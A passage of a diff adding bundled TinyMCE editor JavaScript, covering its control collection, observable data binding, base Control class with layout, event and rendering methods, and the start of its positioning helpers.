+    eq: function (index) {
+      return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
+    },
+    each: function (callback) {
+      global$4.each(this, callback);
+      return this;
+    },
+    toArray: function () {
+      return global$4.toArray(this);
+    },
+    indexOf: function (ctrl) {
+      var self = this;
+      var i = self.length;
+      while (i--) {
+        if (self[i] === ctrl) {
+          break;
+        }
+      }
+      return i;
+    },
+    reverse: function () {
+      return new Collection$1(global$4.toArray(this).reverse());
+    },
+    hasClass: function (cls) {
+      return this[0] ? this[0].classes.contains(cls) : false;
+    },
+    prop: function (name, value) {
+      var self = this;
+      var item;
+      if (value !== undefined) {
+        self.each(function (item) {
+          if (item[name]) {
+            item[name](value);
+          }
+        });
+        return self;
+      }
+      item = self[0];
+      if (item && item[name]) {
+        return item[name]();
+      }
+    },
+    exec: function (name) {
+      var self = this, args = global$4.toArray(arguments).slice(1);
+      self.each(function (item) {
+        if (item[name]) {
+          item[name].apply(item, args);
+        }
+      });
+      return self;
+    },
+    remove: function () {
+      var i = this.length;
+      while (i--) {
+        this[i].remove();
+      }
+      return this;
+    },
+    addClass: function (cls) {
+      return this.each(function (item) {
+        item.classes.add(cls);
+      });
+    },
+    removeClass: function (cls) {
+      return this.each(function (item) {
+        item.classes.remove(cls);
+      });
+    }
+  };
+  global$4.each('fire on off show hide append prepend before after reflow'.split(' '), function (name) {
+    proto[name] = function () {
+      var args = global$4.toArray(arguments);
+      this.each(function (ctrl) {
+        if (name in ctrl) {
+          ctrl[name].apply(ctrl, args);
+        }
+      });
+      return this;
+    };
+  });
+  global$4.each('text name disabled active selected checked visible parent value data'.split(' '), function (name) {
+    proto[name] = function (value) {
+      return this.prop(name, value);
+    };
+  });
+  Collection$1 = global$8.extend(proto);
+  Selector.Collection = Collection$1;
+  var Collection$2 = Collection$1;
+
+  var Binding = function (settings) {
+    this.create = settings.create;
+  };
+  Binding.create = function (model, name) {
+    return new Binding({
+      create: function (otherModel, otherName) {
+        var bindings;
+        var fromSelfToOther = function (e) {
+          otherModel.set(otherName, e.value);
+        };
+        var fromOtherToSelf = function (e) {
+          model.set(name, e.value);
+        };
+        otherModel.on('change:' + otherName, fromOtherToSelf);
+        model.on('change:' + name, fromSelfToOther);
+        bindings = otherModel._bindings;
+        if (!bindings) {
+          bindings = otherModel._bindings = [];
+          otherModel.on('destroy', function () {
+            var i = bindings.length;
+            while (i--) {
+              bindings[i]();
+            }
+          });
+        }
+        bindings.push(function () {
+          model.off('change:' + name, fromSelfToOther);
+        });
+        return model.get(name);
+      }
+    });
+  };
+
+  var global$10 = tinymce.util.Tools.resolve('tinymce.util.Observable');
+
+  function isNode(node) {
+    return node.nodeType > 0;
+  }
+  function isEqual(a, b) {
+    var k, checked;
+    if (a === b) {
+      return true;
+    }
+    if (a === null || b === null) {
+      return a === b;
+    }
+    if (typeof a !== 'object' || typeof b !== 'object') {
+      return a === b;
+    }
+    if (global$4.isArray(b)) {
+      if (a.length !== b.length) {
+        return false;
+      }
+      k = a.length;
+      while (k--) {
+        if (!isEqual(a[k], b[k])) {
+          return false;
+        }
+      }
+    }
+    if (isNode(a) || isNode(b)) {
+      return a === b;
+    }
+    checked = {};
+    for (k in b) {
+      if (!isEqual(a[k], b[k])) {
+        return false;
+      }
+      checked[k] = true;
+    }
+    for (k in a) {
+      if (!checked[k] && !isEqual(a[k], b[k])) {
+        return false;
+      }
+    }
+    return true;
+  }
+  var ObservableObject = global$8.extend({
+    Mixins: [global$10],
+    init: function (data) {
+      var name, value;
+      data = data || {};
+      for (name in data) {
+        value = data[name];
+        if (value instanceof Binding) {
+          data[name] = value.create(this, name);
+        }
+      }
+      this.data = data;
+    },
+    set: function (name, value) {
+      var key, args;
+      var oldValue = this.data[name];
+      if (value instanceof Binding) {
+        value = value.create(this, name);
+      }
+      if (typeof name === 'object') {
+        for (key in name) {
+          this.set(key, name[key]);
+        }
+        return this;
+      }
+      if (!isEqual(oldValue, value)) {
+        this.data[name] = value;
+        args = {
+          target: this,
+          name: name,
+          value: value,
+          oldValue: oldValue
+        };
+        this.fire('change:' + name, args);
+        this.fire('change', args);
+      }
+      return this;
+    },
+    get: function (name) {
+      return this.data[name];
+    },
+    has: function (name) {
+      return name in this.data;
+    },
+    bind: function (name) {
+      return Binding.create(this, name);
+    },
+    destroy: function () {
+      this.fire('destroy');
+    }
+  });
+
+  var dirtyCtrls = {};
+  var animationFrameRequested;
+  var $_cqjgb518wjjgwek2f = {
+    add: function (ctrl) {
+      var parent$$1 = ctrl.parent();
+      if (parent$$1) {
+        if (!parent$$1._layout || parent$$1._layout.isNative()) {
+          return;
+        }
+        if (!dirtyCtrls[parent$$1._id]) {
+          dirtyCtrls[parent$$1._id] = parent$$1;
+        }
+        if (!animationFrameRequested) {
+          animationFrameRequested = true;
+          global$3.requestAnimationFrame(function () {
+            var id, ctrl;
+            animationFrameRequested = false;
+            for (id in dirtyCtrls) {
+              ctrl = dirtyCtrls[id];
+              if (ctrl.state.get('rendered')) {
+                ctrl.reflow();
+              }
+            }
+            dirtyCtrls = {};
+          }, document.body);
+        }
+      }
+    },
+    remove: function (ctrl) {
+      if (dirtyCtrls[ctrl._id]) {
+        delete dirtyCtrls[ctrl._id];
+      }
+    }
+  };
+
+  var getUiContainerDelta = function (ctrl) {
+    var uiContainer = getUiContainer(ctrl);
+    if (uiContainer && global$2.DOM.getStyle(uiContainer, 'position', true) !== 'static') {
+      var containerPos = global$2.DOM.getPos(uiContainer);
+      var dx = uiContainer.scrollLeft - containerPos.x;
+      var dy = uiContainer.scrollTop - containerPos.y;
+      return Option.some({
+        x: dx,
+        y: dy
+      });
+    } else {
+      return Option.none();
+    }
+  };
+  var setUiContainer = function (editor, ctrl) {
+    var uiContainer = global$2.DOM.select(editor.settings.ui_container)[0];
+    ctrl.getRoot().uiContainer = uiContainer;
+  };
+  var getUiContainer = function (ctrl) {
+    return ctrl ? ctrl.getRoot().uiContainer : null;
+  };
+  var inheritUiContainer = function (fromCtrl, toCtrl) {
+    return toCtrl.uiContainer = getUiContainer(fromCtrl);
+  };
+  var $_egt6ye18xjjgwek2h = {
+    getUiContainerDelta: getUiContainerDelta,
+    setUiContainer: setUiContainer,
+    getUiContainer: getUiContainer,
+    inheritUiContainer: inheritUiContainer
+  };
+
+  var hasMouseWheelEventSupport = 'onmousewheel' in document;
+  var hasWheelEventSupport = false;
+  var classPrefix = 'mce-';
+  var Control;
+  var idCounter = 0;
+  var proto$1 = {
+    Statics: { classPrefix: classPrefix },
+    isRtl: function () {
+      return Control.rtl;
+    },
+    classPrefix: classPrefix,
+    init: function (settings) {
+      var self$$1 = this;
+      var classes, defaultClasses;
+      function applyClasses(classes) {
+        var i;
+        classes = classes.split(' ');
+        for (i = 0; i < classes.length; i++) {
+          self$$1.classes.add(classes[i]);
+        }
+      }
+      self$$1.settings = settings = global$4.extend({}, self$$1.Defaults, settings);
+      self$$1._id = settings.id || 'mceu_' + idCounter++;
+      self$$1._aria = { role: settings.role };
+      self$$1._elmCache = {};
+      self$$1.$ = global$7;
+      self$$1.state = new ObservableObject({
+        visible: true,
+        active: false,
+        disabled: false,
+        value: ''
+      });
+      self$$1.data = new ObservableObject(settings.data);
+      self$$1.classes = new ClassList(function () {
+        if (self$$1.state.get('rendered')) {
+          self$$1.getEl().className = this.toString();
+        }
+      });
+      self$$1.classes.prefix = self$$1.classPrefix;
+      classes = settings.classes;
+      if (classes) {
+        if (self$$1.Defaults) {
+          defaultClasses = self$$1.Defaults.classes;
+          if (defaultClasses && classes !== defaultClasses) {
+            applyClasses(defaultClasses);
+          }
+        }
+        applyClasses(classes);
+      }
+      global$4.each('title text name visible disabled active value'.split(' '), function (name$$1) {
+        if (name$$1 in settings) {
+          self$$1[name$$1](settings[name$$1]);
+        }
+      });
+      self$$1.on('click', function () {
+        if (self$$1.disabled()) {
+          return false;
+        }
+      });
+      self$$1.settings = settings;
+      self$$1.borderBox = $_4kbuyt18pjjgwek1w.parseBox(settings.border);
+      self$$1.paddingBox = $_4kbuyt18pjjgwek1w.parseBox(settings.padding);
+      self$$1.marginBox = $_4kbuyt18pjjgwek1w.parseBox(settings.margin);
+      if (settings.hidden) {
+        self$$1.hide();
+      }
+    },
+    Properties: 'parent,name',
+    getContainerElm: function () {
+      var uiContainer = $_egt6ye18xjjgwek2h.getUiContainer(this);
+      return uiContainer ? uiContainer : funcs.getContainer();
+    },
+    getParentCtrl: function (elm) {
+      var ctrl;
+      var lookup = this.getRoot().controlIdLookup;
+      while (elm && lookup) {
+        ctrl = lookup[elm.id];
+        if (ctrl) {
+          break;
+        }
+        elm = elm.parentNode;
+      }
+      return ctrl;
+    },
+    initLayoutRect: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var borderBox, layoutRect;
+      var elm = self$$1.getEl();
+      var width, height, minWidth, minHeight, autoResize;
+      var startMinWidth, startMinHeight, initialSize;
+      borderBox = self$$1.borderBox = self$$1.borderBox || $_4kbuyt18pjjgwek1w.measureBox(elm, 'border');
+      self$$1.paddingBox = self$$1.paddingBox || $_4kbuyt18pjjgwek1w.measureBox(elm, 'padding');
+      self$$1.marginBox = self$$1.marginBox || $_4kbuyt18pjjgwek1w.measureBox(elm, 'margin');
+      initialSize = funcs.getSize(elm);
+      startMinWidth = settings.minWidth;
+      startMinHeight = settings.minHeight;
+      minWidth = startMinWidth || initialSize.width;
+      minHeight = startMinHeight || initialSize.height;
+      width = settings.width;
+      height = settings.height;
+      autoResize = settings.autoResize;
+      autoResize = typeof autoResize !== 'undefined' ? autoResize : !width && !height;
+      width = width || minWidth;
+      height = height || minHeight;
+      var deltaW = borderBox.left + borderBox.right;
+      var deltaH = borderBox.top + borderBox.bottom;
+      var maxW = settings.maxWidth || 65535;
+      var maxH = settings.maxHeight || 65535;
+      self$$1._layoutRect = layoutRect = {
+        x: settings.x || 0,
+        y: settings.y || 0,
+        w: width,
+        h: height,
+        deltaW: deltaW,
+        deltaH: deltaH,
+        contentW: width - deltaW,
+        contentH: height - deltaH,
+        innerW: width - deltaW,
+        innerH: height - deltaH,
+        startMinWidth: startMinWidth || 0,
+        startMinHeight: startMinHeight || 0,
+        minW: Math.min(minWidth, maxW),
+        minH: Math.min(minHeight, maxH),
+        maxW: maxW,
+        maxH: maxH,
+        autoResize: autoResize,
+        scrollW: 0
+      };
+      self$$1._lastLayoutRect = {};
+      return layoutRect;
+    },
+    layoutRect: function (newRect) {
+      var self$$1 = this;
+      var curRect = self$$1._layoutRect, lastLayoutRect, size, deltaWidth, deltaHeight, repaintControls;
+      if (!curRect) {
+        curRect = self$$1.initLayoutRect();
+      }
+      if (newRect) {
+        deltaWidth = curRect.deltaW;
+        deltaHeight = curRect.deltaH;
+        if (newRect.x !== undefined) {
+          curRect.x = newRect.x;
+        }
+        if (newRect.y !== undefined) {
+          curRect.y = newRect.y;
+        }
+        if (newRect.minW !== undefined) {
+          curRect.minW = newRect.minW;
+        }
+        if (newRect.minH !== undefined) {
+          curRect.minH = newRect.minH;
+        }
+        size = newRect.w;
+        if (size !== undefined) {
+          size = size < curRect.minW ? curRect.minW : size;
+          size = size > curRect.maxW ? curRect.maxW : size;
+          curRect.w = size;
+          curRect.innerW = size - deltaWidth;
+        }
+        size = newRect.h;
+        if (size !== undefined) {
+          size = size < curRect.minH ? curRect.minH : size;
+          size = size > curRect.maxH ? curRect.maxH : size;
+          curRect.h = size;
+          curRect.innerH = size - deltaHeight;
+        }
+        size = newRect.innerW;
+        if (size !== undefined) {
+          size = size < curRect.minW - deltaWidth ? curRect.minW - deltaWidth : size;
+          size = size > curRect.maxW - deltaWidth ? curRect.maxW - deltaWidth : size;
+          curRect.innerW = size;
+          curRect.w = size + deltaWidth;
+        }
+        size = newRect.innerH;
+        if (size !== undefined) {
+          size = size < curRect.minH - deltaHeight ? curRect.minH - deltaHeight : size;
+          size = size > curRect.maxH - deltaHeight ? curRect.maxH - deltaHeight : size;
+          curRect.innerH = size;
+          curRect.h = size + deltaHeight;
+        }
+        if (newRect.contentW !== undefined) {
+          curRect.contentW = newRect.contentW;
+        }
+        if (newRect.contentH !== undefined) {
+          curRect.contentH = newRect.contentH;
+        }
+        lastLayoutRect = self$$1._lastLayoutRect;
+        if (lastLayoutRect.x !== curRect.x || lastLayoutRect.y !== curRect.y || lastLayoutRect.w !== curRect.w || lastLayoutRect.h !== curRect.h) {
+          repaintControls = Control.repaintControls;
+          if (repaintControls) {
+            if (repaintControls.map && !repaintControls.map[self$$1._id]) {
+              repaintControls.push(self$$1);
+              repaintControls.map[self$$1._id] = true;
+            }
+          }
+          lastLayoutRect.x = curRect.x;
+          lastLayoutRect.y = curRect.y;
+          lastLayoutRect.w = curRect.w;
+          lastLayoutRect.h = curRect.h;
+        }
+        return self$$1;
+      }
+      return curRect;
+    },
+    repaint: function () {
+      var self$$1 = this;
+      var style, bodyStyle, bodyElm, rect, borderBox;
+      var borderW, borderH, lastRepaintRect, round, value;
+      round = !document.createRange ? Math.round : function (value) {
+        return value;
+      };
+      style = self$$1.getEl().style;
+      rect = self$$1._layoutRect;
+      lastRepaintRect = self$$1._lastRepaintRect || {};
+      borderBox = self$$1.borderBox;
+      borderW = borderBox.left + borderBox.right;
+      borderH = borderBox.top + borderBox.bottom;
+      if (rect.x !== lastRepaintRect.x) {
+        style.left = round(rect.x) + 'px';
+        lastRepaintRect.x = rect.x;
+      }
+      if (rect.y !== lastRepaintRect.y) {
+        style.top = round(rect.y) + 'px';
+        lastRepaintRect.y = rect.y;
+      }
+      if (rect.w !== lastRepaintRect.w) {
+        value = round(rect.w - borderW);
+        style.width = (value >= 0 ? value : 0) + 'px';
+        lastRepaintRect.w = rect.w;
+      }
+      if (rect.h !== lastRepaintRect.h) {
+        value = round(rect.h - borderH);
+        style.height = (value >= 0 ? value : 0) + 'px';
+        lastRepaintRect.h = rect.h;
+      }
+      if (self$$1._hasBody && rect.innerW !== lastRepaintRect.innerW) {
+        value = round(rect.innerW);
+        bodyElm = self$$1.getEl('body');
+        if (bodyElm) {
+          bodyStyle = bodyElm.style;
+          bodyStyle.width = (value >= 0 ? value : 0) + 'px';
+        }
+        lastRepaintRect.innerW = rect.innerW;
+      }
+      if (self$$1._hasBody && rect.innerH !== lastRepaintRect.innerH) {
+        value = round(rect.innerH);
+        bodyElm = bodyElm || self$$1.getEl('body');
+        if (bodyElm) {
+          bodyStyle = bodyStyle || bodyElm.style;
+          bodyStyle.height = (value >= 0 ? value : 0) + 'px';
+        }
+        lastRepaintRect.innerH = rect.innerH;
+      }
+      self$$1._lastRepaintRect = lastRepaintRect;
+      self$$1.fire('repaint', {}, false);
+    },
+    updateLayoutRect: function () {
+      var self$$1 = this;
+      self$$1.parent()._lastRect = null;
+      funcs.css(self$$1.getEl(), {
+        width: '',
+        height: ''
+      });
+      self$$1._layoutRect = self$$1._lastRepaintRect = self$$1._lastLayoutRect = null;
+      self$$1.initLayoutRect();
+    },
+    on: function (name$$1, callback) {
+      var self$$1 = this;
+      function resolveCallbackName(name$$1) {
+        var callback, scope;
+        if (typeof name$$1 !== 'string') {
+          return name$$1;
+        }
+        return function (e) {
+          if (!callback) {
+            self$$1.parentsAndSelf().each(function (ctrl) {
+              var callbacks = ctrl.settings.callbacks;
+              if (callbacks && (callback = callbacks[name$$1])) {
+                scope = ctrl;
+                return false;
+              }
+            });
+          }
+          if (!callback) {
+            e.action = name$$1;
+            this.fire('execute', e);
+            return;
+          }
+          return callback.call(scope, e);
+        };
+      }
+      getEventDispatcher(self$$1).on(name$$1, resolveCallbackName(callback));
+      return self$$1;
+    },
+    off: function (name$$1, callback) {
+      getEventDispatcher(this).off(name$$1, callback);
+      return this;
+    },
+    fire: function (name$$1, args, bubble) {
+      var self$$1 = this;
+      args = args || {};
+      if (!args.control) {
+        args.control = self$$1;
+      }
+      args = getEventDispatcher(self$$1).fire(name$$1, args);
+      if (bubble !== false && self$$1.parent) {
+        var parent$$1 = self$$1.parent();
+        while (parent$$1 && !args.isPropagationStopped()) {
+          parent$$1.fire(name$$1, args, false);
+          parent$$1 = parent$$1.parent();
+        }
+      }
+      return args;
+    },
+    hasEventListeners: function (name$$1) {
+      return getEventDispatcher(this).has(name$$1);
+    },
+    parents: function (selector) {
+      var self$$1 = this;
+      var ctrl, parents = new Collection$2();
+      for (ctrl = self$$1.parent(); ctrl; ctrl = ctrl.parent()) {
+        parents.add(ctrl);
+      }
+      if (selector) {
+        parents = parents.filter(selector);
+      }
+      return parents;
+    },
+    parentsAndSelf: function (selector) {
+      return new Collection$2(this).add(this.parents(selector));
+    },
+    next: function () {
+      var parentControls = this.parent().items();
+      return parentControls[parentControls.indexOf(this) + 1];
+    },
+    prev: function () {
+      var parentControls = this.parent().items();
+      return parentControls[parentControls.indexOf(this) - 1];
+    },
+    innerHtml: function (html) {
+      this.$el.html(html);
+      return this;
+    },
+    getEl: function (suffix) {
+      var id = suffix ? this._id + '-' + suffix : this._id;
+      if (!this._elmCache[id]) {
+        this._elmCache[id] = global$7('#' + id)[0];
+      }
+      return this._elmCache[id];
+    },
+    show: function () {
+      return this.visible(true);
+    },
+    hide: function () {
+      return this.visible(false);
+    },
+    focus: function () {
+      try {
+        this.getEl().focus();
+      } catch (ex) {
+      }
+      return this;
+    },
+    blur: function () {
+      this.getEl().blur();
+      return this;
+    },
+    aria: function (name$$1, value) {
+      var self$$1 = this, elm = self$$1.getEl(self$$1.ariaTarget);
+      if (typeof value === 'undefined') {
+        return self$$1._aria[name$$1];
+      }
+      self$$1._aria[name$$1] = value;
+      if (self$$1.state.get('rendered')) {
+        elm.setAttribute(name$$1 === 'role' ? name$$1 : 'aria-' + name$$1, value);
+      }
+      return self$$1;
+    },
+    encode: function (text, translate) {
+      if (translate !== false) {
+        text = this.translate(text);
+      }
+      return (text || '').replace(/[&<>"]/g, function (match) {
+        return '&#' + match.charCodeAt(0) + ';';
+      });
+    },
+    translate: function (text) {
+      return Control.translate ? Control.translate(text) : text;
+    },
+    before: function (items) {
+      var self$$1 = this, parent$$1 = self$$1.parent();
+      if (parent$$1) {
+        parent$$1.insert(items, parent$$1.items().indexOf(self$$1), true);
+      }
+      return self$$1;
+    },
+    after: function (items) {
+      var self$$1 = this, parent$$1 = self$$1.parent();
+      if (parent$$1) {
+        parent$$1.insert(items, parent$$1.items().indexOf(self$$1));
+      }
+      return self$$1;
+    },
+    remove: function () {
+      var self$$1 = this;
+      var elm = self$$1.getEl();
+      var parent$$1 = self$$1.parent();
+      var newItems, i;
+      if (self$$1.items) {
+        var controls = self$$1.items().toArray();
+        i = controls.length;
+        while (i--) {
+          controls[i].remove();
+        }
+      }
+      if (parent$$1 && parent$$1.items) {
+        newItems = [];
+        parent$$1.items().each(function (item) {
+          if (item !== self$$1) {
+            newItems.push(item);
+          }
+        });
+        parent$$1.items().set(newItems);
+        parent$$1._lastRect = null;
+      }
+      if (self$$1._eventsRoot && self$$1._eventsRoot === self$$1) {
+        global$7(elm).off();
+      }
+      var lookup = self$$1.getRoot().controlIdLookup;
+      if (lookup) {
+        delete lookup[self$$1._id];
+      }
+      if (elm && elm.parentNode) {
+        elm.parentNode.removeChild(elm);
+      }
+      self$$1.state.set('rendered', false);
+      self$$1.state.destroy();
+      self$$1.fire('remove');
+      return self$$1;
+    },
+    renderBefore: function (elm) {
+      global$7(elm).before(this.renderHtml());
+      this.postRender();
+      return this;
+    },
+    renderTo: function (elm) {
+      global$7(elm || this.getContainerElm()).append(this.renderHtml());
+      this.postRender();
+      return this;
+    },
+    preRender: function () {
+    },
+    render: function () {
+    },
+    renderHtml: function () {
+      return '<div id="' + this._id + '" class="' + this.classes + '"></div>';
+    },
+    postRender: function () {
+      var self$$1 = this;
+      var settings = self$$1.settings;
+      var elm, box, parent$$1, name$$1, parentEventsRoot;
+      self$$1.$el = global$7(self$$1.getEl());
+      self$$1.state.set('rendered', true);
+      for (name$$1 in settings) {
+        if (name$$1.indexOf('on') === 0) {
+          self$$1.on(name$$1.substr(2), settings[name$$1]);
+        }
+      }
+      if (self$$1._eventsRoot) {
+        for (parent$$1 = self$$1.parent(); !parentEventsRoot && parent$$1; parent$$1 = parent$$1.parent()) {
+          parentEventsRoot = parent$$1._eventsRoot;
+        }
+        if (parentEventsRoot) {
+          for (name$$1 in parentEventsRoot._nativeEvents) {
+            self$$1._nativeEvents[name$$1] = true;
+          }
+        }
+      }
+      bindPendingEvents(self$$1);
+      if (settings.style) {
+        elm = self$$1.getEl();
+        if (elm) {
+          elm.setAttribute('style', settings.style);
+          elm.style.cssText = settings.style;
+        }
+      }
+      if (self$$1.settings.border) {
+        box = self$$1.borderBox;
+        self$$1.$el.css({
+          'border-top-width': box.top,
+          'border-right-width': box.right,
+          'border-bottom-width': box.bottom,
+          'border-left-width': box.left
+        });
+      }
+      var root = self$$1.getRoot();
+      if (!root.controlIdLookup) {
+        root.controlIdLookup = {};
+      }
+      root.controlIdLookup[self$$1._id] = self$$1;
+      for (var key in self$$1._aria) {
+        self$$1.aria(key, self$$1._aria[key]);
+      }
+      if (self$$1.state.get('visible') === false) {
+        self$$1.getEl().style.display = 'none';
+      }
+      self$$1.bindStates();
+      self$$1.state.on('change:visible', function (e) {
+        var state = e.value;
+        var parentCtrl;
+        if (self$$1.state.get('rendered')) {
+          self$$1.getEl().style.display = state === false ? 'none' : '';
+          self$$1.getEl().getBoundingClientRect();
+        }
+        parentCtrl = self$$1.parent();
+        if (parentCtrl) {
+          parentCtrl._lastRect = null;
+        }
+        self$$1.fire(state ? 'show' : 'hide');
+        $_cqjgb518wjjgwek2f.add(self$$1);
+      });
+      self$$1.fire('postrender', {}, false);
+    },
+    bindStates: function () {
+    },
+    scrollIntoView: function (align) {
+      function getOffset(elm, rootElm) {
+        var x, y, parent$$1 = elm;
+        x = y = 0;
+        while (parent$$1 && parent$$1 !== rootElm && parent$$1.nodeType) {
+          x += parent$$1.offsetLeft || 0;
+          y += parent$$1.offsetTop || 0;
+          parent$$1 = parent$$1.offsetParent;
+        }
+        return {
+          x: x,
+          y: y
+        };
+      }
+      var elm = this.getEl(), parentElm = elm.parentNode;
+      var x, y, width, height, parentWidth, parentHeight;
+      var pos = getOffset(elm, parentElm);
+      x = pos.x;
+      y = pos.y;
+      width = elm.offsetWidth;
+      height = elm.offsetHeight;
+      parentWidth = parentElm.clientWidth;
+      parentHeight = parentElm.clientHeight;
+      if (align === 'end') {
+        x -= parentWidth - width;
+        y -= parentHeight - height;
+      } else if (align === 'center') {
+        x -= parentWidth / 2 - width / 2;
+        y -= parentHeight / 2 - height / 2;
+      }
+      parentElm.scrollLeft = x;
+      parentElm.scrollTop = y;
+      return this;
+    },
+    getRoot: function () {
+      var ctrl = this, rootControl;
+      var parents = [];
+      while (ctrl) {
+        if (ctrl.rootControl) {
+          rootControl = ctrl.rootControl;
+          break;
+        }
+        parents.push(ctrl);
+        rootControl = ctrl;
+        ctrl = ctrl.parent();
+      }
+      if (!rootControl) {
+        rootControl = this;
+      }
+      var i = parents.length;
+      while (i--) {
+        parents[i].rootControl = rootControl;
+      }
+      return rootControl;
+    },
+    reflow: function () {
+      $_cqjgb518wjjgwek2f.remove(this);
+      var parent$$1 = this.parent();
+      if (parent$$1 && parent$$1._layout && !parent$$1._layout.isNative()) {
+        parent$$1.reflow();
+      }
+      return this;
+    }
+  };
+  global$4.each('text title visible disabled active value'.split(' '), function (name$$1) {
+    proto$1[name$$1] = function (value) {
+      if (arguments.length === 0) {
+        return this.state.get(name$$1);
+      }
+      if (typeof value !== 'undefined') {
+        this.state.set(name$$1, value);
+      }
+      return this;
+    };
+  });
+  Control = global$8.extend(proto$1);
+  function getEventDispatcher(obj) {
+    if (!obj._eventDispatcher) {
+      obj._eventDispatcher = new global$9({
+        scope: obj,
+        toggleEvent: function (name$$1, state) {
+          if (state && global$9.isNative(name$$1)) {
+            if (!obj._nativeEvents) {
+              obj._nativeEvents = {};
+            }
+            obj._nativeEvents[name$$1] = true;
+            if (obj.state.get('rendered')) {
+              bindPendingEvents(obj);
+            }
+          }
+        }
+      });
+    }
+    return obj._eventDispatcher;
+  }
+  function bindPendingEvents(eventCtrl) {
+    var i, l, parents, eventRootCtrl, nativeEvents, name$$1;
+    function delegate(e) {
+      var control = eventCtrl.getParentCtrl(e.target);
+      if (control) {
+        control.fire(e.type, e);
+      }
+    }
+    function mouseLeaveHandler() {
+      var ctrl = eventRootCtrl._lastHoverCtrl;
+      if (ctrl) {
+        ctrl.fire('mouseleave', { target: ctrl.getEl() });
+        ctrl.parents().each(function (ctrl) {
+          ctrl.fire('mouseleave', { target: ctrl.getEl() });
+        });
+        eventRootCtrl._lastHoverCtrl = null;
+      }
+    }
+    function mouseEnterHandler(e) {
+      var ctrl = eventCtrl.getParentCtrl(e.target), lastCtrl = eventRootCtrl._lastHoverCtrl, idx = 0, i, parents, lastParents;
+      if (ctrl !== lastCtrl) {
+        eventRootCtrl._lastHoverCtrl = ctrl;
+        parents = ctrl.parents().toArray().reverse();
+        parents.push(ctrl);
+        if (lastCtrl) {
+          lastParents = lastCtrl.parents().toArray().reverse();
+          lastParents.push(lastCtrl);
+          for (idx = 0; idx < lastParents.length; idx++) {
+            if (parents[idx] !== lastParents[idx]) {
+              break;
+            }
+          }
+          for (i = lastParents.length - 1; i >= idx; i--) {
+            lastCtrl = lastParents[i];
+            lastCtrl.fire('mouseleave', { target: lastCtrl.getEl() });
+          }
+        }
+        for (i = idx; i < parents.length; i++) {
+          ctrl = parents[i];
+          ctrl.fire('mouseenter', { target: ctrl.getEl() });
+        }
+      }
+    }
+    function fixWheelEvent(e) {
+      e.preventDefault();
+      if (e.type === 'mousewheel') {
+        e.deltaY = -1 / 40 * e.wheelDelta;
+        if (e.wheelDeltaX) {
+          e.deltaX = -1 / 40 * e.wheelDeltaX;
+        }
+      } else {
+        e.deltaX = 0;
+        e.deltaY = e.detail;
+      }
+      e = eventCtrl.fire('wheel', e);
+    }
+    nativeEvents = eventCtrl._nativeEvents;
+    if (nativeEvents) {
+      parents = eventCtrl.parents().toArray();
+      parents.unshift(eventCtrl);
+      for (i = 0, l = parents.length; !eventRootCtrl && i < l; i++) {
+        eventRootCtrl = parents[i]._eventsRoot;
+      }
+      if (!eventRootCtrl) {
+        eventRootCtrl = parents[parents.length - 1] || eventCtrl;
+      }
+      eventCtrl._eventsRoot = eventRootCtrl;
+      for (l = i, i = 0; i < l; i++) {
+        parents[i]._eventsRoot = eventRootCtrl;
+      }
+      var eventRootDelegates = eventRootCtrl._delegates;
+      if (!eventRootDelegates) {
+        eventRootDelegates = eventRootCtrl._delegates = {};
+      }
+      for (name$$1 in nativeEvents) {
+        if (!nativeEvents) {
+          return false;
+        }
+        if (name$$1 === 'wheel' && !hasWheelEventSupport) {
+          if (hasMouseWheelEventSupport) {
+            global$7(eventCtrl.getEl()).on('mousewheel', fixWheelEvent);
+          } else {
+            global$7(eventCtrl.getEl()).on('DOMMouseScroll', fixWheelEvent);
+          }
+          continue;
+        }
+        if (name$$1 === 'mouseenter' || name$$1 === 'mouseleave') {
+          if (!eventRootCtrl._hasMouseEnter) {
+            global$7(eventRootCtrl.getEl()).on('mouseleave', mouseLeaveHandler).on('mouseover', mouseEnterHandler);
+            eventRootCtrl._hasMouseEnter = 1;
+          }
+        } else if (!eventRootDelegates[name$$1]) {
+          global$7(eventRootCtrl.getEl()).on(name$$1, delegate);
+          eventRootDelegates[name$$1] = true;
+        }
+        nativeEvents[name$$1] = false;
+      }
+    }
+  }
+  var Control$1 = Control;
+
+  var isStatic = function (elm) {
+    return funcs.getRuntimeStyle(elm, 'position') === 'static';
+  };
+  var isFixed = function (ctrl) {
+    return ctrl.state.get('fixed');
+  };
+  function calculateRelativePosition(ctrl, targetElm, rel) {
+    var ctrlElm, pos, x, y, selfW, selfH, targetW, targetH, viewport, size;
+    viewport = getWindowViewPort();
+    pos = funcs.getPos(targetElm, $_egt6ye18xjjgwek2h.getUiContainer(ctrl));
+    x = pos.x;
+    y = pos.y;
+    if (isFixed(ctrl) && isStatic(document.body)) {
+      x -= viewport.x;
+      y -= viewport.y;
+    }
+    ctrlElm = ctrl.getEl();
+    size = funcs.getSize(ctrlElm);
+    selfW = size.width;
+    selfH = size.height;
+    size = funcs.getSize(targetElm);
+    targetW = size.width;
+    targetH = size.height;
+    rel = (rel || '').split('');
+    if (rel[0] === 'b') {
+      y += targetH;
+    }
+    if (rel[1] === 'r') {
+      x += targetW;
+    }
+    if (rel[0] === 'c') {
+      y += Math.round(targetH / 2);
+    }
+    if (rel[1] === 'c') {
+      x += Math.round(targetW / 2);
+    }
+    if (rel[3] === 'b') {
+      y -= selfH;
+    }
+    if (rel[4] === 'r') {
+      x -= selfW;
+    }
+    if (rel[3] === 'c') {
+      y -= Math.round(selfH / 2);
+    }
+    if (rel[4] === 'c') {
+      x -= Math.round(selfW / 2);
+    }
+    return {
+      x: x,
+      y: y,
+      w: selfW,
+      h: selfH
+    };
+  }
+  var getUiContainerViewPort = function (customUiContainer) {
+    return {
+      x: 0,
+      y: 0,
+      w: customUiContainer.scrollWidth - 1,
+      h: customUiContainer.scrollHeight - 1
+    };
+  };
+  var getWindowViewPort = function () {
+    var win = window;
+    var x = Math.max(win.pageXOffset, document.body.scrollLeft, document.documentElement.scrollLeft);
+    var y = Math.max(win.pageYOffset, document.body.scrollTop, document.documentElement.scrollTop);
+    var w = win.innerWidth || document.documentElement.clientWidth;
+    var h = win.innerHeight || document.documentElement.clientHeight;
+    return {
+      x: x,
+      y: y,
+      w: x + w,
+      h: y + h
+    };
+  };
+  var getViewPortRect = function (ctrl) {
+    var customUiContainer = $_egt6ye18xjjgwek2h.getUiContainer(ctrl);
+    return customUiContainer && !isFixed(ctrl) ? getUiContainerViewPort(customUiContainer) : getWindowViewPort();
